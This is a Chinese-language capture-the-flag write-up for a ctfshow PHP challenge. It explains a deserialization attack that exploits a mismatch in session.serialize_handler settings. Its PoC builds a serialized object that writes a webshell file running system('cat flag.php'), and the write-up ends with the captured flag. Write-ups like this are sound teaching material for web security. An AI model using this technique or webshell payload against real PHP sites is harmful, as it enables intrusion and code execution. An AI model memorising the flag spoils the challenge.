PHP/7.3.11session伪造
    www.zip
    通过 /www.zip 扫描到源码,这里目录扫描全是 200,建议使用可以看到返回包大小的扫描器,或者有 404 页面识别的扫描器,比如 dirmap
    image.png

    日常吐槽 fortify,咋啥也扫不出来 (x
    seay 发现 file_put_contents 输入可控
    image.png

    利用前提:
    利用点是 session.serialize_handler 与 php.ini 的配置不同引起的反序列化,至于为什么不同,如果相同的也就没必要加上这句设置了(ini_set('session.serialize_handler', 'php');),毕竟是默认配置对吧

    目标:

    • file_put_contents 可控点在 inc/inc.phpUser 类,可以通过反序列化触发 __destruct

    思路:

    • 首先访问两次首页,抓包可以看到Cookie limit 参数,构造 exp ,使得我们的反序列化数据写入 session 文件(通过 $_SESSION['limit']=base64_decode($_COOKIE['limit']); 写入,这是PHP session 机制,可参考 此链接
    • inc/inc.php 存在 ini_set('session.serialize_handler', 'php');session_start(); ,只要访问即会获取之前写入的 session 数据,然后 check.php 包含 inc/inc.php ,即会触发 User类__destruct方法 ,从而把恶意数据通过 file_put_contents 写入名为 log-$this.username ,内容为 $this.password 的文件。

    poc

    1. <?php
    2. class User{
    3. public $username = 'tari.php';
    4. public $password = '<?php system("cat flag.php") ?>';
    5. }
    6. $user = new User();
    7. echo(base64_encode('|'.serialize($user)));
    8. ?>

    这里加 '|' 是因为 session.serialize_handler 使用 php引擎 ,session 关联数组的 keyvalue 是通过 '|' 区分的, value 是需要被反序列化的部分。然后默认不是用 php 引擎,所以…. 所以写入是正常字符串,在 inc/inc.php 这读取语义又不一样了。
    image.png
    随便请求一下 check.php
    image.png
    注意是 log-tari.php !
    image.png
    flag
    ctfshow{523efbab-b753-4d45-9eda-a54874346088}